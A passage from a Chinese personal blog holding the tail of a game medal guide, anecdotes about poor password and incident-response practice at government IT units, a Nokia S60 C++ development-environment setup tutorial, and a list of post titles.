=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/020928Kjd.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/020928Kjd.jpg" border="0" alt="" />

3战术勋章
=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/020928XbJ.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/020928XbJ.jpg" border="0" alt="" height="700" />

每局游戏结束后满足相应的条件就会获得相应的勋章并同时获得相应的补给或游戏币=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/020928yOW.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/020928yOW.jpg" border="0" alt="" />

通过以上的介绍相信各位玩家已经对ava的各兵种“技能”和“勋章”系统有了深入的了解，希望这些文字能让玩家在ava中有更好游戏体验。祝各位游戏愉快！

No Related Post

经典n则

Chinadu — Sun, 21 Feb 2010 01:32:04 +0000

某业内人士 10:06:01
有些zf技术人员水平差的无法理解，说说我以前遇到过的一次：

某单位网站服务器被黑了，他打电话求助别人帮他改了密码，然后登录，我看他老把密码输入在用户名处登不进，我很纳闷这是干什么？我也没提醒他，过了好久他不得不向我求助说进不了，然后我教他用户名处输入用户名，密码处输入密码，他感谢我说又学了一个技巧。我很纳闷，问他你在这做网管做多久了，他说做了有五年了。我看他桌子上还摆了一大堆的技术书籍。

其实这样的事情数不胜数，跟朋友闲聊得知有很多类似荒诞的事让人抓狂：

朋友给一家zf单位做安全检查和加固，发现所有主机管理员密码全部是123456，叫技术人员们改密码，他们很怀疑的眼光说，密码没告诉别人，黑客怎么能知道？朋友解释这个密码太简单，靠手工猜测就能猜出来，他说黑客哪有可能偏会猜这个呢？然后又解释一堆，说黑客字典里都有这个密码，他还是不理解，怎么会有？我没告诉他们啊，怎么黑客字典里都有呢！%￥(&^&

然后给的安全解决方案其中一项就是改密码。数日后，zf技术人员打来电话，问“怎么这么久你还没给我改密码，我要投诉你！”然后又解释了一大堆，密码是他们自己内部改，让他改他就知道了！他还是不理解，你们不是做安全的么，密码不由你们改谁改？^%&%^$&^%

还有的技术人员也不是不懂技术：
某地做安全检查，朋友检查发现木马要把木马清掉，负责人说不要清掉!你清掉了，黑客进不来他们万一采取更大的报复怎么办？无语。。。

某业内人士 11:43:44
有的黑客也经典

某业内人士 11:44:31
某地发生DoS攻击，我去应急，黑客打来电话，逼要系统密码，否则就一直DoS
某业内人士 11:44:46
我和客户都哭笑不得

S60智能手机开发环境搭建

Chinadu — Sun, 14 Feb 2010 14:25:55 +0000

摘要：S60是目前智能手机市场占有率最大的手机平台，具有扩展性好、占用硬件资源少的特点，诺基亚依托此平台，发布了多款深受消费者喜爱的智能手机。本文首先介绍S60手机软件开发过程，然后说明如何通过互联网上获得的各种免费软件包搭建S60软件开发环境，最后描述了验证开发环境正确性的方法。
关键词：Symbian；S60；智能手机 Symbian操作系统与S60平台介绍
S60软件开发过程概述
S60软件开发过程和传统的PC软件开发过程有较大区别。在PC软件开发过程中，编译开发环境即是软件运行环境，我们既在PC上开发程序，又在PC上部署最终开发完成的软件，其开发过程一般分为程序编写、程序调试和发布三个步骤，如图3-1所示。

而在S60软件开发过程中，由于手机平台的运算能力和I/O能力有限，不可能直接在手机上编写和编译程序，只能先在PC上编写、编译程序，再到手机上调试、运行。因为 Intel X86架构的目标码和S60手机的目标码是不兼容的，在PC上编译生成的手机程序是不可能直接在PC上运行的。为了简化编译-调试过程，S60 SDK中包含一个手机模拟器，它运行于微软Windows平台，开发者可以直接在模拟器中运行调试程序，而不必依赖于手机，这样大大提高了手机软件的开发效率。
S60软件开发过程分为程序编写、程序调试、手机测试和发布四个步骤，如图3-2所示。

开发环境搭建
安装包准备
S60手机开发环境由JDK、ActivePerl、S60 C++ SDK和Carbide C++等软件包（软件环境）构成，其中Cabide C++是集成开发环境，也可以选用其它的同类软件，例如Visual Studio 2003。它们都是可通过互联网自由下载的免费软件。
JDK 5.0 Update 16
S60 SDK中的部分工具程序是Java程序，依赖于JVM环境。Carbide C++也是由Java语言开发，依赖于JVM。JDK由SUN公司提供，包含JVM，和S60 SDK配合比较好的版本是JDK 5.0 Update 16，下载地址是http://java.sun.com。
ActivePerl 5.6.1.635
S60 SDK的编译工具大都由Perl脚本编写而成，因此依赖于Windows平台下的Perl环境。ActivePerl由ActiveState公司提供，下载地址是http://downloads.activestate.com/ActivePerl/。
S60 Platform SDK for C++, 3rd Edition FP2
S60 SDK中包含了开发S60程序所需的各种工具和程序库，以及手机模拟器。S60 SDK由诺基亚提供，下载地址是http://www.forum.nokia.com。
Carbide C++ Express 1.3
Carbide C++是基于Eclipse平台实现的集成开发环境，专为开发S60程序设计，由诺基亚提供，下载地址是 http://www.forum.nokia.com。
安装软件包
上述四种安装包相互之间存在依赖关系，必须按特定的安装顺序安装，推荐的安装顺序是：JDK → ActivePerl → S60 SDK → Carbide C++。
S60 SDK要求和开发者创建的源代码存在于同一个硬盘分区下，为了避免兼容性问题，最好将上述安装包都安装在C盘。在安装过程中，无需变更选项，直接使用默认选项安装即可。
验证开发环境
在安装工作完成后，我们将编译S60 SDK中的一个例子来验证开发环境的完整性和正确。这个例子是“helloworldbasic”，位于 “C:S60devicesS60_3rd_FP2_SDKS60CppExamples”目录中。
首先，启动Carbide C++，选择菜单[File]→[Import…]导入“helloworldbasic”项目。Carbide C++包含一个项目导入向导，引导开发者导入项目配置。在此向导中，选择例子程序所在的目录，其它选项均使用默认值，即可成功导入这个项目并在 Carbide C++中打开。
为模拟器编译
项目打开后，默认即是模拟器编译配置，选择菜单 [Run]→[Debug As] →[Debug Symbian OS Application]，Carbide C++会自动编译项目，然后调用SDK中的模拟器运行这个程序。编译开始后，可以看到Carbide C++的Console窗口不断输出编译信息，如果编译过程中发生错误，Console窗口中会显示相关的错误信息。
为手机编译
首先，选择菜单[Project]→[Build Configurations] →[Set Active] →[Phone Release]，将编译配置切换至手机发布状态。然后，选择菜单[Project] →[Build Project]开始编译手机软件包。Console窗口中仍然会显示相关的编译信息。
编译完成后，在例子项目的“sis”目录中会生成手机安装包。使用数据线连接手机和PC，即可将“helloworldbasic”安装到手机上运行。
参考文献：
[1]Babbin, Steve/ Harrison, Richard. Developing Software for Symbian OS. John Wiley & Sons, Ltd, 2006
[2]Leigh Edwards, Richard Barker. Developing Series 60 Applications. Nokia

Chinadu`s Blog

Discuz! 7.2 最新注入漏洞分析与利用

相关文章

DedeCms v5.5 0day

相关文章

魅族M8手机远程管理权限漏洞

相关文章

内网渗透案例

相关文章

为什么近几年公开的技术交流越来越少

相关文章

让千千静听不再弹出广告

相关文章

《阿凡达》告诉我们：谁胯下的鸟大就听谁的

相关文章

AVA战地之王三大兵种技能、勋章获得方法

相关文章

经典n则

相关文章

S60智能手机开发环境搭建

相关文章